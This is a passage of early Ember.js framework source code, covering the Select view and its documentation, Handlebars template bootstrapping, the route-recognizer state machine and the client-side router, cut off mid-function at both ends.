Ember.Object.create({firstName: "Yehuda", id: 1}), Ember.Object.create({firstName: "Tom", id: 2}) ] }); ``` ```handlebars {{view Ember.Select contentBinding="App.controller.content" optionValuePath="content.id" optionLabelPath="content.firstName" selectionBinding="App.controller.selectedPerson"}} ``` Would result in the following HTML with a selected option: ```html <select class="ember-select"> <option value>Please Select</option> <option value="1">Yehuda</option> <option value="2" selected="selected">Tom</option> </select> ``` Interacting with the rendered element by selecting the first option ('Yehuda') will update the `selectedPerson` value of `App.controller` to match the content object of the newly selected `<option>`. In this case it is the first object in the `App.content.content` ### Supplying a Prompt A `null` value for the `Ember.Select`'s `value` or `selection` property results in there being no `<option>` with a `selected` attribute: ```javascript App.controller = Ember.Object.create({ selected: null, content: [ "Yehuda", "Tom" ] }); ``` ``` handlebars {{view Ember.Select contentBinding="App.controller.content" valueBinding="App.controller.selected" }} ``` Would result in the following HTML: ```html <select class="ember-select"> <option value="Yehuda">Yehuda</option> <option value="Tom">Tom</option> </select> ``` Although `App.controller.selected` is `null` and no `<option>` has a `selected` attribute the rendered HTML will display the first item as though it were selected. You can supply a string value for the `Ember.Select` to display when there is no selection with the `prompt` option: ```javascript App.controller = Ember.Object.create({ selected: null, content: [ "Yehuda", "Tom" ] }); ``` ```handlebars {{view Ember.Select contentBinding="App.controller.content" valueBinding="App.controller.selected" prompt="Please select a name" }} ``` Would result in the following HTML: ```html <select class="ember-select"> <option>Please select a name</option> <option value="Yehuda">Yehuda</option> <option value="Tom">Tom</option> </select> ``` @class Select @namespace Ember @extends Ember.View */ Ember.Select = Ember.View.extend( /** @scope Ember.Select.prototype */ { tagName: 'select', classNames: ['ember-select'], defaultTemplate: Ember.Handlebars.template(function anonymous(Handlebars,depth0,helpers,partials,data) { helpers = helpers || Ember.Handlebars.helpers; data = data || {}; var buffer = '', stack1, hashTypes, escapeExpression=this.escapeExpression, self=this; function program1(depth0,data) { var buffer = '', stack1, hashTypes; data.buffer.push("<option value=\"\">"); stack1 = {}; hashTypes = {}; stack1 = helpers._triageMustache.call(depth0, "view.prompt", {hash:stack1,contexts:[depth0],types:["ID"],hashTypes:hashTypes,data:data}); data.buffer.push(escapeExpression(stack1) + "</option>"); return buffer;} function program3(depth0,data) { var stack1, hashTypes; stack1 = {}; hashTypes = {}; hashTypes['contentBinding'] = "STRING"; stack1['contentBinding'] = "this"; stack1 = helpers.view.call(depth0, "Ember.SelectOption", {hash:stack1,contexts:[depth0],types:["ID"],hashTypes:hashTypes,data:data}); data.buffer.push(escapeExpression(stack1));} stack1 = {}; hashTypes = {}; stack1 = helpers['if'].call(depth0, "view.prompt", {hash:stack1,inverse:self.noop,fn:self.program(1, program1, data),contexts:[depth0],types:["ID"],hashTypes:hashTypes,data:data}); if(stack1 || stack1 === 0) { data.buffer.push(stack1); } stack1 = {}; hashTypes = {}; stack1 = helpers.each.call(depth0, "view.content", {hash:stack1,inverse:self.noop,fn:self.program(3, program3, data),contexts:[depth0],types:["ID"],hashTypes:hashTypes,data:data}); if(stack1 || stack1 === 0) { data.buffer.push(stack1); } return buffer; }), attributeBindings: ['multiple', 'disabled', 'tabindex'], /** The `multiple` attribute of the select element. Indicates whether multiple options can be selected. @property multiple @type Boolean @default false */ multiple: false, disabled: false, /** The list of options. If `optionLabelPath` and `optionValuePath` are not overridden, this should be a list of strings, which will serve simultaneously as labels and values. Otherwise, this should be a list of objects. For instance: ```javascript Ember.Select.create({ content: Ember.A([ { id: 1, firstName: 'Yehuda' }, { id: 2, firstName: 'Tom' } ]), optionLabelPath: 'content.firstName', optionValuePath: 'content.id' }); ``` @property content @type Array @default null */ content: null, /** When `multiple` is `false`, the element of `content` that is currently selected, if any. When `multiple` is `true`, an array of such elements. @property selection @type Object or Array @default null */ selection: null, /** In single selection mode (when `multiple` is `false`), value can be used to get the current selection's value or set the selection by it's value. It is not currently supported in multiple selection mode. @property value @type String @default null */ value: Ember.computed(function(key, value) { if (arguments.length === 2) { return value; } var valuePath = get(this, 'optionValuePath').replace(/^content\.?/, ''); return valuePath ? get(this, 'selection.' + valuePath) : get(this, 'selection'); }).property('selection'), /** If given, a top-most dummy option will be rendered to serve as a user prompt. @property prompt @type String @default null */ prompt: null, /** The path of the option labels. See `content`. @property optionLabelPath @type String @default 'content' */ optionLabelPath: 'content', /** The path of the option values. See `content`. @property optionValuePath @type String @default 'content' */ optionValuePath: 'content', _change: function() { if (get(this, 'multiple')) { this._changeMultiple(); } else { this._changeSingle(); } }, selectionDidChange: Ember.observer(function() { var selection = get(this, 'selection'); if (get(this, 'multiple')) { if (!isArray(selection)) { set(this, 'selection', Ember.A([selection])); return; } this._selectionDidChangeMultiple(); } else { this._selectionDidChangeSingle(); } }, 'selection.@each'), valueDidChange: Ember.observer(function() { var content = get(this, 'content'), value = get(this, 'value'), valuePath = get(this, 'optionValuePath').replace(/^content\.?/, ''), selectedValue = (valuePath ? get(this, 'selection.' + valuePath) : get(this, 'selection')), selection; if (value !== selectedValue) { selection = content.find(function(obj) { return value === (valuePath ? get(obj, valuePath) : obj); }); this.set('selection', selection); } }, 'value'), _triggerChange: function() { var selection = get(this, 'selection'); var value = get(this, 'value'); if (selection) { this.selectionDidChange(); } if (value) { this.valueDidChange(); } this._change(); }, _changeSingle: function() { var selectedIndex = this.$()[0].selectedIndex, content = get(this, 'content'), prompt = get(this, 'prompt'); if (!get(content, 'length')) { return; } if (prompt && selectedIndex === 0) { set(this, 'selection', null); return; } if (prompt) { selectedIndex -= 1; } set(this, 'selection', content.objectAt(selectedIndex)); }, _changeMultiple: function() { var options = this.$('option:selected'), prompt = get(this, 'prompt'), offset = prompt ? 1 : 0, content = get(this, 'content'), selection = get(this, 'selection'); if (!content){ return; } if (options) { var selectedIndexes = options.map(function(){ return this.index - offset; }).toArray(); var newSelection = content.objectsAt(selectedIndexes); if (isArray(selection)) { replace(selection, 0, get(selection, 'length'), newSelection); } else { set(this, 'selection', newSelection); } } }, _selectionDidChangeSingle: function() { var el = this.get('element'); if (!el) { return; } var content = get(this, 'content'), selection = get(this, 'selection'), selectionIndex = content ? indexOf(content, selection) : -1, prompt = get(this, 'prompt'); if (prompt) { selectionIndex += 1; } if (el) { el.selectedIndex = selectionIndex; } }, _selectionDidChangeMultiple: function() { var content = get(this, 'content'), selection = get(this, 'selection'), selectedIndexes = content ? indexesOf(content, selection) : [-1], prompt = get(this, 'prompt'), offset = prompt ? 1 : 0, options = this.$('option'), adjusted; if (options) { options.each(function() { adjusted = this.index > -1 ? this.index - offset : -1; this.selected = indexOf(selectedIndexes, adjusted) > -1; }); } }, init: function() { this._super(); this.on("didInsertElement", this, this._triggerChange); this.on("change", this, this._change); } }); Ember.SelectOption = Ember.View.extend({ tagName: 'option', attributeBindings: ['value', 'selected'], defaultTemplate: function(context, options) { options = { data: options.data, hash: {} }; Ember.Handlebars.helpers.bind.call(context, "view.label", options); }, init: function() { this.labelPathDidChange(); this.valuePathDidChange(); this._super(); }, selected: Ember.computed(function() { var content = get(this, 'content'), selection = get(this, 'parentView.selection'); if (get(this, 'parentView.multiple')) { return selection && indexOf(selection, content.valueOf()) > -1; } else { // Primitives get passed through bindings as objects... since // `new Number(4) !== 4`, we use `==` below return content == selection; } }).property('content', 'parentView.selection').volatile(), labelPathDidChange: Ember.observer(function() { var labelPath = get(this, 'parentView.optionLabelPath'); if (!labelPath) { return; } Ember.defineProperty(this, 'label', Ember.computed(function() { return get(this, labelPath); }).property(labelPath)); }, 'parentView.optionLabelPath'), valuePathDidChange: Ember.observer(function() { var valuePath = get(this, 'parentView.optionValuePath'); if (!valuePath) { return; } Ember.defineProperty(this, 'value', Ember.computed(function() { return get(this, valuePath); }).property(valuePath)); }, 'parentView.optionValuePath') }); })(); (function() { })(); (function() { /*globals Handlebars */ /** @module ember @submodule ember-handlebars */ /** @private Find templates stored in the head tag as script tags and make them available to `Ember.CoreView` in the global `Ember.TEMPLATES` object. This will be run as as jQuery DOM-ready callback. Script tags with `text/x-handlebars` will be compiled with Ember's Handlebars and are suitable for use as a view's template. Those with type `text/x-raw-handlebars` will be compiled with regular Handlebars and are suitable for use in views' computed properties. @method bootstrap @for Ember.Handlebars @static @param ctx */ Ember.Handlebars.bootstrap = function(ctx) { var selectors = 'script[type="text/x-handlebars"], script[type="text/x-raw-handlebars"]'; Ember.$(selectors, ctx) .each(function() { // Get a reference to the script tag var script = Ember.$(this), type = script.attr('type'); var compile = (script.attr('type') === 'text/x-raw-handlebars') ? Ember.$.proxy(Handlebars.compile, Handlebars) : Ember.$.proxy(Ember.Handlebars.compile, Ember.Handlebars), // Get the name of the script, used by Ember.View's templateName property. // First look for data-template-name attribute, then fall back to its // id if no name is found. templateName = script.attr('data-template-name') || script.attr('id') || 'application', template = compile(script.html()); // For templates which have a name, we save them and then remove them from the DOM Ember.TEMPLATES[templateName] = template; // Remove script tag from DOM script.remove(); }); }; function bootstrap() { Ember.Handlebars.bootstrap( Ember.$(document) ); } /* We tie this to application.load to ensure that we've at least attempted to bootstrap at the point that the application is loaded. We also tie this to document ready since we're guaranteed that all the inline templates are present at this point. There's no harm to running this twice, since we remove the templates from the DOM after processing. */ Ember.onLoad('application', bootstrap); })(); (function() { /** Ember Handlebars @module ember @submodule ember-handlebars @requires ember-views */ Ember.runLoadHooks('Ember.Handlebars', Ember.Handlebars); })(); (function() { define("route-recognizer", [], function() { "use strict"; var specials = [ '/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\' ]; var escapeRegex = new RegExp('(\\' + specials.join('|\\') + ')', 'g'); // A Segment represents a segment in the original route description. // Each Segment type provides an `eachChar` and `regex` method. // // The `eachChar` method invokes the callback with one or more character // specifications. A character specification consumes one or more input // characters. // // The `regex` method returns a regex fragment for the segment. If the // segment is a dynamic of star segment, the regex fragment also includes // a capture. // // A character specification contains: // // * `validChars`: a String with a list of all valid characters, or // * `invalidChars`: a String with a list of all invalid characters // * `repeat`: true if the character specification can repeat function StaticSegment(string) { this.string = string; } StaticSegment.prototype = { eachChar: function(callback) { var string = this.string, char; for (var i=0, l=string.length; i<l; i++) { char = string.charAt(i); callback({ validChars: char }); } }, regex: function() { return this.string.replace(escapeRegex, '\\$1'); }, generate: function() { return this.string; } }; function DynamicSegment(name) { this.name = name; } DynamicSegment.prototype = { eachChar: function(callback) { callback({ invalidChars: "/", repeat: true }); }, regex: function() { return "([^/]+)"; }, generate: function(params) { return params[this.name]; } }; function StarSegment(name) { this.name = name; } StarSegment.prototype = { eachChar: function(callback) { callback({ invalidChars: "", repeat: true }); }, regex: function() { return "(.+)"; }, generate: function(params) { return params[this.name]; } }; function EpsilonSegment() {} EpsilonSegment.prototype = { eachChar: function() {}, regex: function() { return ""; }, generate: function() { return ""; } }; function parse(route, names, types) { // normalize route as not starting with a "/". Recognition will // also normalize. if (route.charAt(0) === "/") { route = route.substr(1); } var segments = route.split("/"), results = []; for (var i=0, l=segments.length; i<l; i++) { var segment = segments[i], match; if (match = segment.match(/^:([^\/]+)$/)) { results.push(new DynamicSegment(match[1])); names.push(match[1]); types.dynamics++; } else if (match = segment.match(/^\*([^\/]+)$/)) { results.push(new StarSegment(match[1])); names.push(match[1]); types.stars++; } else if(segment === "") { results.push(new EpsilonSegment()); } else { results.push(new StaticSegment(segment)); types.statics++; } } return results; } // A State has a character specification and (`charSpec`) and a list of possible // subsequent states (`nextStates`). // // If a State is an accepting state, it will also have several additional // properties: // // * `regex`: A regular expression that is used to extract parameters from paths // that reached this accepting state. // * `handlers`: Information on how to convert the list of captures into calls // to registered handlers with the specified parameters // * `types`: How many static, dynamic or star segments in this route. Used to // decide which route to use if multiple registered routes match a path. // // Currently, State is implemented naively by looping over `nextStates` and // comparing a character specification against a character. A more efficient // implementation would use a hash of keys pointing at one or more next states. function State(charSpec) { this.charSpec = charSpec; this.nextStates = []; } State.prototype = { get: function(charSpec) { var nextStates = this.nextStates; for (var i=0, l=nextStates.length; i<l; i++) { var child = nextStates[i]; var isEqual = child.charSpec.validChars === charSpec.validChars; isEqual = isEqual && child.charSpec.invalidChars === charSpec.invalidChars; if (isEqual) { return child; } } }, put: function(charSpec) { var state; // If the character specification already exists in a child of the current // state, just return that state. if (state = this.get(charSpec)) { return state; } // Make a new state for the character spec state = new State(charSpec); // Insert the new state as a child of the current state this.nextStates.push(state); // If this character specification repeats, insert the new state as a child // of itself. Note that this will not trigger an infinite loop because each // transition during recognition consumes a character. if (charSpec.repeat) { state.nextStates.push(state); } // Return the new state return state; }, // Find a list of child states matching the next character match: function(char) { // DEBUG "Processing `" + char + "`:" var nextStates = this.nextStates, child, charSpec, chars; // DEBUG " " + debugState(this) var returned = []; for (var i=0, l=nextStates.length; i<l; i++) { child = nextStates[i]; charSpec = child.charSpec; if (typeof (chars = charSpec.validChars) !== 'undefined') { if (chars.indexOf(char) !== -1) { returned.push(child); } } else if (typeof (chars = charSpec.invalidChars) !== 'undefined') { if (chars.indexOf(char) === -1) { returned.push(child); } } } return returned; } /** IF DEBUG , debug: function() { var charSpec = this.charSpec, debug = "[", chars = charSpec.validChars || charSpec.invalidChars; if (charSpec.invalidChars) { debug += "^"; } debug += chars; debug += "]"; if (charSpec.repeat) { debug += "+"; } return debug; } END IF **/ }; /** IF DEBUG function debug(log) { console.log(log); } function debugState(state) { return state.nextStates.map(function(n) { if (n.nextStates.length === 0) { return "( " + n.debug() + " [accepting] )"; } return "( " + n.debug() + " <then> " + n.nextStates.map(function(s) { return s.debug() }).join(" or ") + " )"; }).join(", ") } END IF **/ // This is a somewhat naive strategy, but should work in a lot of cases // A better strategy would properly resolve /posts/:id/new and /posts/edit/:id function sortSolutions(states) { return states.sort(function(a, b) { if (a.types.stars !== b.types.stars) { return a.types.stars - b.types.stars; } if (a.types.dynamics !== b.types.dynamics) { return a.types.dynamics - b.types.dynamics; } if (a.types.statics !== b.types.statics) { return a.types.statics - b.types.statics; } return 0; }); } function recognizeChar(states, char) { var nextStates = []; for (var i=0, l=states.length; i<l; i++) { var state = states[i]; nextStates = nextStates.concat(state.match(char)); } return nextStates; } function findHandler(state, path) { var handlers = state.handlers, regex = state.regex; var captures = path.match(regex), currentCapture = 1; var result = []; for (var i=0, l=handlers.length; i<l; i++) { var handler = handlers[i], names = handler.names, params = {}; for (var j=0, m=names.length; j<m; j++) { params[names[j]] = captures[currentCapture++]; } result.push({ handler: handler.handler, params: params, isDynamic: !!names.length }); } return result; } function addSegment(currentState, segment) { segment.eachChar(function(char) { var state; currentState = currentState.put(char); }); return currentState; } // The main interface var RouteRecognizer = function() { this.rootState = new State(); this.names = {}; }; RouteRecognizer.prototype = { add: function(routes, options) { var currentState = this.rootState, regex = "^", types = { statics: 0, dynamics: 0, stars: 0 }, handlers = [], allSegments = [], name; var isEmpty = true; for (var i=0, l=routes.length; i<l; i++) { var route = routes[i], names = []; var segments = parse(route.path, names, types); allSegments = allSegments.concat(segments); for (var j=0, m=segments.length; j<m; j++) { var segment = segments[j]; if (segment instanceof EpsilonSegment) { continue; } isEmpty = false; // Add a "/" for the new segment currentState = currentState.put({ validChars: "/" }); regex += "/"; // Add a representation of the segment to the NFA and regex currentState = addSegment(currentState, segment); regex += segment.regex(); } handlers.push({ handler: route.handler, names: names }); } if (isEmpty) { currentState = currentState.put({ validChars: "/" }); regex += "/"; } currentState.handlers = handlers; currentState.regex = new RegExp(regex + "$"); currentState.types = types; if (name = options && options.as) { this.names[name] = { segments: allSegments, handlers: handlers }; } }, handlersFor: function(name) { var route = this.names[name], result = []; if (!route) { throw new Error("There is no route named " + name); } for (var i=0, l=route.handlers.length; i<l; i++) { result.push(route.handlers[i]); } return result; }, hasRoute: function(name) { return !!this.names[name]; }, generate: function(name, params) { var route = this.names[name], output = ""; if (!route) { throw new Error("There is no route named " + name); } var segments = route.segments; for (var i=0, l=segments.length; i<l; i++) { var segment = segments[i]; if (segment instanceof EpsilonSegment) { continue; } output += "/"; output += segment.generate(params); } if (output.charAt(0) !== '/') { output = '/' + output; } return output; }, recognize: function(path) { var states = [ this.rootState ], i, l; // DEBUG GROUP path var pathLen = path.length; if (path.charAt(0) !== "/") { path = "/" + path; } if (pathLen > 1 && path.charAt(pathLen - 1) === "/") { path = path.substr(0, pathLen - 1); } for (i=0, l=path.length; i<l; i++) { states = recognizeChar(states, path.charAt(i)); if (!states.length) { break; } } // END DEBUG GROUP var solutions = []; for (i=0, l=states.length; i<l; i++) { if (states[i].handlers) { solutions.push(states[i]); } } states = sortSolutions(solutions); var state = solutions[0]; if (state && state.handlers) { return findHandler(state, path); } } }; function Target(path, matcher, delegate) { this.path = path; this.matcher = matcher; this.delegate = delegate; } Target.prototype = { to: function(target, callback) { var delegate = this.delegate; if (delegate && delegate.willAddRoute) { target = delegate.willAddRoute(this.matcher.target, target); } this.matcher.add(this.path, target); if (callback) { if (callback.length === 0) { throw new Error("You must have an argument in the function passed to `to`"); } this.matcher.addChild(this.path, target, callback, this.delegate); } } }; function Matcher(target) { this.routes = {}; this.children = {}; this.target = target; } Matcher.prototype = { add: function(path, handler) { this.routes[path] = handler; }, addChild: function(path, target, callback, delegate) { var matcher = new Matcher(target); this.children[path] = matcher; var match = generateMatch(path, matcher, delegate); if (delegate && delegate.contextEntered) { delegate.contextEntered(target, match); } callback(match); } }; function generateMatch(startingPath, matcher, delegate) { return function(path, nestedCallback) { var fullPath = startingPath + path; if (nestedCallback) { nestedCallback(generateMatch(fullPath, matcher, delegate)); } else { return new Target(startingPath + path, matcher, delegate); } }; } function addRoute(routeArray, path, handler) { var len = 0; for (var i=0, l=routeArray.length; i<l; i++) { len += routeArray[i].path.length; } path = path.substr(len); routeArray.push({ path: path, handler: handler }); } function eachRoute(baseRoute, matcher, callback, binding) { var routes = matcher.routes; for (var path in routes) { if (routes.hasOwnProperty(path)) { var routeArray = baseRoute.slice(); addRoute(routeArray, path, routes[path]); if (matcher.children[path]) { eachRoute(routeArray, matcher.children[path], callback, binding); } else { callback.call(binding, routeArray); } } } } RouteRecognizer.prototype.map = function(callback, addRouteCallback) { var matcher = new Matcher(); callback(generateMatch("", matcher, this.delegate)); eachRoute([], matcher, function(route) { if (addRouteCallback) { addRouteCallback(this, route); } else { this.add(route); } }, this); }; return RouteRecognizer; }); })(); (function() { define("router", ["route-recognizer"], function(RouteRecognizer) { "use strict"; /** @private This file references several internal structures: ## `RecognizedHandler` * `{String} handler`: A handler name * `{Object} params`: A hash of recognized parameters ## `UnresolvedHandlerInfo` * `{Boolean} isDynamic`: whether a handler has any dynamic segments * `{String} name`: the name of a handler * `{Object} context`: the active context for the handler ## `HandlerInfo` * `{Boolean} isDynamic`: whether a handler has any dynamic segments * `{String} name`: the original unresolved handler name * `{Object} handler`: a handler object * `{Object} context`: the active context for the handler */ function Router() { this.recognizer = new RouteRecognizer(); } Router.prototype = { /** The main entry point into the router. The API is essentially the same as the `map` method in `route-recognizer`. This method extracts the String handler at the last `.to()` call and uses it as the name of the whole route. @param {Function} callback */ map: function(callback) { this.recognizer.delegate = this.delegate; this.recognizer.map(callback, function(recognizer, route) { var lastHandler = route[route.length - 1].handler; var args = [route, { as: lastHandler }]; recognizer.add.apply(recognizer, args); }); }, hasRoute: function(route) { return this.recognizer.hasRoute(route); }, /** The entry point for handling a change to the URL (usually via the back and forward button). Returns an Array of handlers and the parameters associated with those parameters. @param {String} url a URL to process @return {Array} an Array of `[handler, parameter]` tuples */ handleURL: function(url) { var results = this.recognizer.recognize(url), objects = []; if (!results) { throw new Error("No route matched the URL '" + url + "'"); } collectObjects(this, results, 0, []); }, /** Hook point for updating the URL. @param {String} url a URL to update to */ updateURL: function() { throw "updateURL is not implemented"; }, /** Hook point for replacing the current URL, i.e. with replaceState By default this behaves the same as `updateURL` @param {String} url a URL to update to */ replaceURL: function(url) { this.updateURL(url); }, /** Transition into the specified named route. If necessary, trigger the exit callback on any handlers that are no longer represented by the target route. @param {String} name the name of the route */ transitionTo: function(name) { var args = Array.prototype.slice.call(arguments, 1); doTransition(this, name, this.updateURL, args); }, /** Identical to `transitionTo` except that the current URL will be replaced if possible. This method is intended primarily for use with `replaceState`. @param {String} name the name of the route */ replaceWith: function(name) { var args = Array.prototype.slice.call(arguments, 1); doTransition(this, name, this.replaceURL, args); }, /** @private This method takes a handler name and a list of contexts and returns a serialized parameter hash suitable to pass to `recognizer.generate()`. @param {String} handlerName @param {Array[Object]} contexts @return {Object} a serialized parameter hash */ paramsForHandler: function(handlerName, callback) { var output = this._paramsForHandler(handlerName, [].slice.call(arguments, 1)); return output.params; }, /** Take a named route and context objects and generate a URL. @param {String} name the name of the route to generate a URL for @param {...Object} objects a list of objects to serialize @return {String} a URL */ generate: function(handlerName) { var params = this.paramsForHandler.apply(this, arguments); return this.recognizer.generate(handlerName, params); }, /** @private Used internally by `generate` and `transitionTo`. */ _paramsForHandler: function(handlerName, objects, doUpdate) { var handlers = this.recognizer.handlersFor(handlerName), params = {}, toSetup = [], startIdx = handlers.length, objectsToMatch = objects.length, object, objectChanged, handlerObj, handler, names, i, len; // Find out which handler to start matching at for (i=handlers.length-1; i>=0 && objectsToMatch>0; i--) { if (handlers[i].names.length) { objectsToMatch--; startIdx = i; } } if (objectsToMatch > 0) { throw "More objects were passed than dynamic segments"; } // Connect the objects to the routes for (i=0, len=handlers.length; i<len; i++) { handlerObj = handlers[i]; handler = this.getHandler(handlerObj.handler); names = handlerObj.names; objectChanged = false; // If it's a dynamic segment if (names.length) { // If we have objects, use them if (i >= startIdx) { object = objects.shift(); objectChanged = true; // Otherwise use existing context } else { object = handler.context; } // Serialize to generate params if (handler.serialize) { merge(params, handler.serialize(object, names)); } // If it's not a dynamic segment and we're updating } else if (doUpdate) { // If we've passed the match point we need to deserialize again // or if we never had a context if (i > startIdx || !handler.hasOwnProperty('context')) { if (handler.deserialize) { object = handler.deserialize({}); objectChanged = true; } // Otherwise use existing context } else { object = handler.context; } } // Make sure that we update the context here so it's available to // subsequent deserialize calls if (doUpdate && objectChanged) { // TODO: It's a bit awkward to set the context twice, see if we can DRY things up setContext(handler, object); } toSetup.push({ isDynamic: !!handlerObj.names.length, handler: handlerObj.handler, name: handlerObj.name, context: object }); } return { params: params, toSetup: toSetup }; }, isActive: function(handlerName) { var contexts = [].slice.call(arguments, 1); var currentHandlerInfos = this.currentHandlerInfos, found = false, names, object, handlerInfo, handlerObj; for (var i=currentHandlerInfos.length-1; i>=0; i--) { handlerInfo = currentHandlerInfos[i]; if (handlerInfo.name === handlerName) { found = true; } if (found) { if (contexts.length === 0) { break; } if (handlerInfo.isDynamic) { object = contexts.pop(); if (handlerInfo.context !== object) { return false; } } } } return contexts.length === 0 && found; }, trigger: function(name) { var args = [].slice.call(arguments); trigger(this, args); } }; function merge(hash, other) { for (var prop in other) { if (other.hasOwnProperty(prop)) { hash[prop] = other[prop]; } } } function isCurrent(currentHandlerInfos, handlerName) { return currentHandlerInfos[currentHandlerInfos.length - 1].name === handlerName; } /** @private This function is called the first time the `collectObjects` function encounters a promise while converting URL parameters into objects. It triggers the `enter` and `setup` methods on the `loading` handler. @param {Router} router */ function loading(router) { if (!router.isLoading) { router.isLoading = true; var handler = router.getHandler('loading'); if (handler) { if (handler.enter) { handler.enter(); } if (handler.setup) { handler.setup(); } } } } /** @private This function is called if a promise was previously encountered once all promises are resolved. It triggers the `exit` method on the `loading` handler. @param {Router} router */ function loaded(router) { router.isLoading = false; var handler = router.getHandler('loading'); if (handler && handler.exit) { handler.exit(); } } /** @private This function is called if any encountered promise is rejected. It triggers the `exit` method on the `loading` handler, the `enter` method on the `failure` handler, and the `setup` method on the `failure` handler with the `error`. @param {Router} router @param {Object} error the reason for the promise rejection, to pass into the failure handler's `setup` method. */ function failure(router, error) { loaded(router); var handler = router.getHandler('failure'); if (handler && handler.setup) { handler.setup(error); } } /** @private */ function doTransition(router, name, method, args) { var output = router._paramsForHandler(name, args, true); var params = output.params, toSetup = output.toSetup; var url = router.recognizer.generate(name, params); method.call(router, url); setupContexts(router, toSetup); } /** @private This function is called after a URL change has been handled by `router.handleURL`. Takes an Array of `RecognizedHandler`s, and converts the raw params hashes into deserialized objects by calling deserialize on the handlers. This process builds up an Array of `HandlerInfo`s. It then calls `setupContexts` with the Array. If the `deserialize` method on a handler returns a promise (i.e. has a method called `then`), this function will pause building up the `HandlerInfo` Array until the promise is resolved. It will use the resolved value as the context of `HandlerInfo`. */ function collectObjects(router, results, index, objects) { if (results.length === index) { loaded(router); setupContexts(router, objects); return; } var result = results[index]; var handler = router.getHandler(result.handler); var object = handler.deserialize && handler.deserialize(result.params); if (object && typeof object.then === 'function') { loading(router); // The chained `then` means that we can also catch errors that happen in `proceed` object.then(proceed).then(null, function(error) { failure(router, error); }); } else { proceed(object); } function proceed(value) { if (handler.context !== object) { setContext(handler, object); } var updatedObjects = objects.concat([{ context: value, handler: result.handler, isDynamic: result.isDynamic }]); collectObjects(router, results, index + 1, updatedObjects); } } /** @private Takes an Array of `UnresolvedHandlerInfo`s, resolves the handler names into handlers, and then figures out what to do with each of the handlers. For example, consider the following tree of handlers. Each handler is followed by the URL segment it handles. ``` |~index ("/") | |~posts ("/posts") | | |-showPost ("/:id") | | |-newPost ("/new") | | |-editPost ("/edit") | |~about ("/about/:id") ``` Consider the following transitions: 1. A URL transition to `/posts/1`. 1. Triggers the `deserialize` callback on the `index`, `posts`, and `showPost` handlers 2. Triggers the `enter` callback on the same 3. Triggers the `setup` callback on the same 2. A direct transition to `newPost` 1. Triggers the `exit` callback on `showPost` 2. Triggers the `enter` callback on `newPost` 3. Triggers the `setup` callback on `newPost` 3. A direct transition to `about` with a specified context object 1. Triggers the `exit` callback on `newPost` and `posts` 2. Triggers the `serialize` callback on `about` 3. Triggers the `enter` callback on `about` 4. Triggers the `setup` callback on `about` @param {Router} router @param {Array[UnresolvedHandlerInfo]} handlerInfos */ function setupContexts(router, handlerInfos) { resolveHandlers(router, handlerInfos); var partition = partitionHandlers(router.currentHandlerInfos || [], handlerInfos); router.currentHandlerInfos = handlerInfos; eachHandler(partition.exited, function(handler, context) { delete handler.context; if (handler.exit) { handler.exit(); } }); eachHandler(partition.updatedContext, function(handler, context) { setContext(handler, context); if (handler.setup) { handler.setup(context); } }); var aborted = false; eachHandler(partition.entered, function(handler, context) { if (aborted) { return; } if (handler.enter) { handler.enter(); } setContext(handler, context); if (handler.setup) { if (false === handler.setup(context)) { aborted = true; } } }); if (router.didTransition) { router.didTransition(handlerInfos); } } /** @private Iterates over an array of `HandlerInfo`s, passing the handler and context into the callback. @param {Array[HandlerInfo]} handlerInfos @param {Function(Object, Object)} callback */ function eachHandler(handlerInfos, callback) { for (var i=0, l=handlerInfos.length; i<l; i++) { var handlerInfo = handlerInfos[i], handler = handlerInfo.handler, context = handlerInfo.context; callback(handler, context); } } /** @private Updates the `handler` field in each element in an Array of `UnresolvedHandlerInfo`s from a handler name to a resolved handler. When done, the Array will contain `HandlerInfo` structures. @param {Router} router @param {Array[UnresolvedHandlerInfo]} handlerInfos */ function resolveHandlers(router, handlerInfos) { var handlerInfo; for (var i=0, l=handlerInfos.length; i<l; i++) { handlerInfo = handlerInfos[i]; handlerInfo.name = handlerInfo.handler; handlerInfo.handler = router.getHandler(handlerInfo.handler); } } /** @private This function is called when transitioning from one URL to another to determine which handlers are not longer active, which handlers are newly active, and which handlers remain active but have their context changed. Take a list of old handlers and new handlers and partition them into four buckets: * unchanged: the handler was active in both the old and new URL, and its context remains the same * updated context: the handler was active in both the old and new URL, but its context changed. The handler's `setup` method, if any, will be called with the new context. * exited: the handler was active in the old URL, but is no longer active. * entered: the handler was not active in the old URL, but is now active. The PartitionedHandlers structure has three fields: * `updatedContext`: a list of `HandlerInfo` objects that represent handlers that remain active but have a changed context * `entered`: a list of `HandlerInfo` objects that represent handlers that are newly active * `exited`: a list of `HandlerInfo` objects that are no longer active. @param {Array[HandlerInfo]} oldHandlers a list of the handler information for the previous URL (or `[]` if this is the first handled transition) @param {Array[HandlerInfo]} newHandlers a list of the handler information for the new URL @return {Partition} */ function partitionHandlers(oldHandlers, newHandlers) { var handlers = { updatedContext: [], exited: [], entered: [] }; var handlerChanged, contextChanged, i, l; for (i=0, l=newHandlers.length; i<l; i++) { var oldHandler = oldHandlers[i], newHandler = newHandlers[i]; if (!oldHandler || oldHandler.handler !== newHandler.handler) { handlerChanged = true; } if (handlerChanged) { handlers.entered.push(newHandler); if (oldHandler) { handlers.exited.unshift(oldHandler); } } else if (contextChanged || oldHandler.context !== newHandler.context) { contextChanged = true; handlers.updatedContext.push(newHandler); } } for (i=newHandlers.length, l=oldHandlers.length; i<l; i++) { handlers.exited.unshift(oldHandlers[i]); } return handlers; } function trigger(router, args) { var currentHandlerInfos = router.currentHandlerInfos; var name = args.shift(); if (!currentHandlerInfos) { throw new Error("Could not trigger event '" + name + "'. There are no active handlers"); } for (var i=currentHandlerInfos.length-1; i>=0; i--) { var handlerInfo = currentHandlerInfos[i], handler = handlerInfo.handler; if (handler.events && handler.events[name]) { handler.events[name].apply(handler, args); return; } } throw new Error("Nothing handled the event '" + name + "'."); } function setContext(handler, context) { handler.context = context; if (handler.contextDidChange) { handler.contextDidChange(); } } return Router; }); })(); (function() { /** @module ember @submodule ember-routing */ function DSL(name) { this.parent = name; this.matches = []; } DSL.prototype = { resource: function(name, options, callback) { if (arguments.length === 2 && typeof options === 'function') { callback = options; options = {}; } if (arguments.length === 1) { options = {}; } if (typeof options.path !== 'string') { options.path = "/" + name; } if (callback) { var dsl = new DSL(name); callback.call(dsl); this.push(options.path, name, dsl.generate()); } else { this.push(options.path, name); } }, push: function(url, name, callback) { if (url === "" || url === "/") { this.explicitIndex = true; } this.matches.push([url, name, callback]); }, route: function(name, options) { options = options || {}; if (typeof options.path !== 'string') { options.path = "/" + name; } if (this.parent 